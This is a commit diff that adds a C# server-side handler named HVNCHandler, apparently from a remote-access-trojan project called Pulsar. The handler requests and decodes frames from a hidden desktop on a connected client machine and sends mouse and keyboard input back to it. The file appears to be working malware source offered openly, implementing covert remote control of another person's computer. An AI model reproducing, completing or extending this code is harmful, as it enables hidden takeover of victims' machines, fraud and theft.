initial commit
This commit is contained in:
@@ -0,0 +1,552 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Collections.Concurrent;
|
||||
using Pulsar.Common.Messages.Monitoring.HVNC;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote desktop.
|
||||
/// </summary>
|
||||
public class HVNCHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming desktop frames.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether the remote desktop is using buffered mode.
|
||||
/// </summary>
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _sizeLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution, see <seealso cref="LocalResolution"/>.
|
||||
/// </summary>
|
||||
private Size _localResolution;
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This property is thread-safe.
|
||||
/// </remarks>
|
||||
public Size LocalResolution
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
return _localResolution;
|
||||
}
|
||||
}
|
||||
set
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
_localResolution = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle display changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="displays">The currently available displays.</param>
|
||||
public delegate void DisplaysChangedEventHandler(object sender, int displays);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when displays change.
|
||||
/// </summary>
|
||||
public event DisplaysChangedEventHandler DisplaysChanged;
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote desktop handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// The video stream codec used to decode received frames.
|
||||
/// </summary>
|
||||
private UnsafeStreamCodec _codec;
|
||||
|
||||
// buffer parameters
|
||||
private readonly int _initialFramesRequested = 5; // request 5 frames initially
|
||||
private readonly int _defaultFrameRequestBatch = 3;
|
||||
private int _pendingFrames = 0;
|
||||
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
|
||||
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
|
||||
private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
|
||||
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
|
||||
|
||||
private DateTime _lastFrameRequest = DateTime.MinValue;
|
||||
|
||||
private readonly Stopwatch _performanceMonitor = new Stopwatch();
|
||||
private int _framesReceived = 0;
|
||||
private double _estimatedFps = 0;
|
||||
|
||||
private long _accumulatedFrameBytes = 0;
|
||||
private int _frameBytesSamples = 0;
|
||||
private long _lastFrameBytes = 0;
|
||||
|
||||
private bool _disposed;
|
||||
|
||||
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
|
||||
public double AverageFrameSizeBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
long total = Interlocked.Read(ref _accumulatedFrameBytes);
|
||||
int count = Volatile.Read(ref _frameBytesSamples);
|
||||
return count > 0 ? (double)total / count : 0.0;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Stores the last FPS reported by the client.
|
||||
/// </summary>
|
||||
private float _lastReportedFps = -1f;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the last FPS reported by the client, or estimated FPS if not available.
|
||||
/// </summary>
|
||||
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the estimated frames per second (FPS) based on the last second of received frames.
|
||||
/// </summary>
|
||||
public float LastReportedFps => _lastReportedFps;
|
||||
|
||||
public static Size resolution = new Size(0, 0);
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public HVNCHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_performanceMonitor.Start();
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetHVNCDesktopResponse || message is GetHVNCMonitorsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetHVNCDesktopResponse response:
|
||||
Execute(sender, response);
|
||||
break;
|
||||
case GetHVNCMonitorsResponse response:
|
||||
Execute(sender, response);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private async void Execute(ISender client, GetHVNCDesktopResponse message)
|
||||
{
|
||||
_framesReceived++;
|
||||
|
||||
resolution = new Size { Height = message.Resolution.Height, Width = message.Resolution.Width };
|
||||
|
||||
// capture the FPS reported by the client
|
||||
if (message.Fps > 0)
|
||||
{
|
||||
_lastReportedFps = message.Fps;
|
||||
Debug.WriteLine($"Client-reported FPS: {_lastReportedFps}");
|
||||
}
|
||||
|
||||
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
|
||||
Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Frames received: {_framesReceived}");
|
||||
_framesReceived = 0;
|
||||
_performanceMonitor.Restart();
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
|
||||
}
|
||||
|
||||
if (message.Image != null)
|
||||
{
|
||||
long size = message.Image.LongLength;
|
||||
Interlocked.Exchange(ref _lastFrameBytes, size);
|
||||
Interlocked.Add(ref _accumulatedFrameBytes, size);
|
||||
Interlocked.Increment(ref _frameBytesSamples);
|
||||
}
|
||||
|
||||
using (var ms = new MemoryStream(message.Image))
|
||||
{
|
||||
try
|
||||
{
|
||||
var decoded = _codec.DecodeData(ms);
|
||||
if (decoded != null)
|
||||
{
|
||||
EnsureLocalResolutionInitialized(decoded.Size);
|
||||
OnReport(decoded);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error decoding frame: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
message.Image = null;
|
||||
|
||||
long timestamp = message.Timestamp;
|
||||
_frameTimestamps.Enqueue(timestamp);
|
||||
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
|
||||
|
||||
Interlocked.Decrement(ref _pendingFrames);
|
||||
}
|
||||
|
||||
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 1))
|
||||
{
|
||||
await RequestMoreFramesAsync();
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetHVNCMonitorsResponse message)
|
||||
{
|
||||
OnDisplaysChanged(message.Number);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed displays.
|
||||
/// </summary>
|
||||
/// <param name="displays">All currently available displays.</param>
|
||||
private void OnDisplaysChanged(int displays)
|
||||
{
|
||||
SynchronizationContext.Post(val =>
|
||||
{
|
||||
var handler = DisplaysChanged;
|
||||
handler?.Invoke(this, (int)val);
|
||||
}, displays);
|
||||
}
|
||||
|
||||
private void EnsureLocalResolutionInitialized(Size fallbackSize)
|
||||
{
|
||||
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var current = LocalResolution;
|
||||
if (current.Width <= 0 || current.Height <= 0)
|
||||
{
|
||||
LocalResolution = fallbackSize;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearTimeStamps()
|
||||
{
|
||||
while (_frameTimestamps.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="quality">The quality of the remote desktop frames.</param>
|
||||
/// <param name="display">The display to receive frames from.</param>
|
||||
/// <param name="useGPU">Whether to use GPU for screen capture.</param>
|
||||
public void BeginReceiveFrames(int quality, int display, bool useGPU)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException(nameof(HVNCHandler));
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = true;
|
||||
_codec?.Dispose();
|
||||
_codec = null;
|
||||
|
||||
// Reset buffering counters
|
||||
_pendingFrames = _initialFramesRequested;
|
||||
ClearTimeStamps();
|
||||
_framesReceived = 0;
|
||||
_frameReceiptStopwatch.Restart();
|
||||
|
||||
// Start in buffered mode
|
||||
_client.Send(new GetHVNCDesktop
|
||||
{
|
||||
CreateNew = true,
|
||||
Quality = quality,
|
||||
DisplayIndex = display,
|
||||
Status = RemoteDesktopStatus.Start,
|
||||
UseGPU = useGPU,
|
||||
IsBufferedMode = IsBufferedMode,
|
||||
FramesRequested = _initialFramesRequested
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving frames from the client.
|
||||
/// </summary>
|
||||
public void EndReceiveFrames()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
|
||||
Debug.WriteLine("HVNC session stopped");
|
||||
|
||||
_client.Send(new GetHVNCDesktop { Status = RemoteDesktopStatus.Stop });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// States whether remote mouse input is enabled.
|
||||
/// </summary>
|
||||
private bool _enableMouseInput = true;
|
||||
|
||||
/// <summary>
|
||||
/// States whether remote keyboard input is enabled.
|
||||
/// </summary>
|
||||
private bool _enableKeyboardInput = true;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the maximum frames per second for HVNC stream.
|
||||
/// </summary>
|
||||
public int MaxFramesPerSecond { get; set; } = 30;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether adaptive frame rate is enabled (reduces FPS when form is processing slowly).
|
||||
/// </summary>
|
||||
public bool AdaptiveFrameRate { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether mouse input is enabled.
|
||||
/// </summary>
|
||||
public bool EnableMouseInput
|
||||
{
|
||||
get => _enableMouseInput;
|
||||
set => _enableMouseInput = value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether keyboard input is enabled.
|
||||
/// </summary>
|
||||
public bool EnableKeyboardInput
|
||||
{
|
||||
get => _enableKeyboardInput;
|
||||
set => _enableKeyboardInput = value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a mouse event to the client.
|
||||
/// </summary>
|
||||
/// <param name="message">The Windows message type (WM_LBUTTONDOWN, WM_MOUSEMOVE, etc.).</param>
|
||||
/// <param name="wParam">The wParam value.</param>
|
||||
/// <param name="lParam">The lParam value containing coordinates.</param>
|
||||
public void SendMouseEvent(uint message, int wParam, int lParam)
|
||||
{
|
||||
if (!_enableMouseInput || _disposed) return;
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted) return;
|
||||
|
||||
if (_codec != null && LocalResolution.Width > 0 && LocalResolution.Height > 0)
|
||||
{
|
||||
int x = lParam & 0xFFFF;
|
||||
int y = (lParam >> 16) & 0xFFFF;
|
||||
|
||||
int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
|
||||
int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
|
||||
lParam = (remoteY << 16) | (remoteX & 0xFFFF);
|
||||
}
|
||||
|
||||
_client.Send(new DoHVNCInput
|
||||
{
|
||||
msg = message,
|
||||
wParam = wParam,
|
||||
lParam = lParam
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a keyboard event to the client.
|
||||
/// </summary>
|
||||
/// <param name="message">The Windows message type (WM_KEYDOWN, WM_KEYUP, etc.).</param>
|
||||
/// <param name="wParam">The wParam value (virtual key code).</param>
|
||||
/// <param name="lParam">The lParam value.</param>
|
||||
public void SendKeyboardEvent(uint message, int wParam, int lParam)
|
||||
{
|
||||
if (!_enableKeyboardInput || _disposed) return;
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!IsStarted) return;
|
||||
|
||||
_client.Send(new DoHVNCInput
|
||||
{
|
||||
msg = message,
|
||||
wParam = wParam,
|
||||
lParam = lParam
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshDisplays()
|
||||
{
|
||||
Debug.WriteLine("Refreshing HVNC displays");
|
||||
_client.Send(new GetHVNCMonitors());
|
||||
}
|
||||
|
||||
private async Task RequestMoreFramesAsync()
|
||||
{
|
||||
bool acquired;
|
||||
try
|
||||
{
|
||||
acquired = await _frameRequestSemaphore.WaitAsync(0).ConfigureAwait(false);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!acquired)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
int targetFps = MaxFramesPerSecond;
|
||||
|
||||
if (AdaptiveFrameRate && _pendingFrames > 2)
|
||||
{
|
||||
targetFps = Math.Max(15, targetFps / 2);
|
||||
Debug.WriteLine($"Adaptive frame rate: reducing to {targetFps} FPS (pending frames: {_pendingFrames})");
|
||||
}
|
||||
|
||||
int minIntervalMs = 1000 / Math.Max(1, targetFps);
|
||||
|
||||
var timeSinceLastRequest = DateTime.Now - _lastFrameRequest;
|
||||
if (timeSinceLastRequest.TotalMilliseconds < minIntervalMs)
|
||||
{
|
||||
int delayMs = minIntervalMs - (int)timeSinceLastRequest.TotalMilliseconds;
|
||||
Debug.WriteLine($"Frame rate limiting: waiting {delayMs}ms (target: {targetFps} FPS)");
|
||||
await Task.Delay(delayMs).ConfigureAwait(false);
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
int batchSize = AdaptiveFrameRate && _pendingFrames > 1 ? 1 : _defaultFrameRequestBatch;
|
||||
|
||||
Debug.WriteLine($"Requesting {batchSize} more frames (pending: {_pendingFrames})");
|
||||
Interlocked.Add(ref _pendingFrames, batchSize);
|
||||
_lastFrameRequest = DateTime.Now;
|
||||
|
||||
if (!_disposed)
|
||||
{
|
||||
_client.Send(new GetHVNCDesktop
|
||||
{
|
||||
CreateNew = false,
|
||||
Quality = _codec?.ImageQuality ?? 75,
|
||||
DisplayIndex = _codec?.Monitor ?? 0,
|
||||
Status = RemoteDesktopStatus.Continue,
|
||||
IsBufferedMode = true,
|
||||
FramesRequested = batchSize
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
// Ignore disposal races during shutdown.
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
_frameRequestSemaphore.Release();
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
_disposed = true;
|
||||
IsStarted = false;
|
||||
}
|
||||
try
|
||||
{
|
||||
_frameRequestSemaphore.Dispose();
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user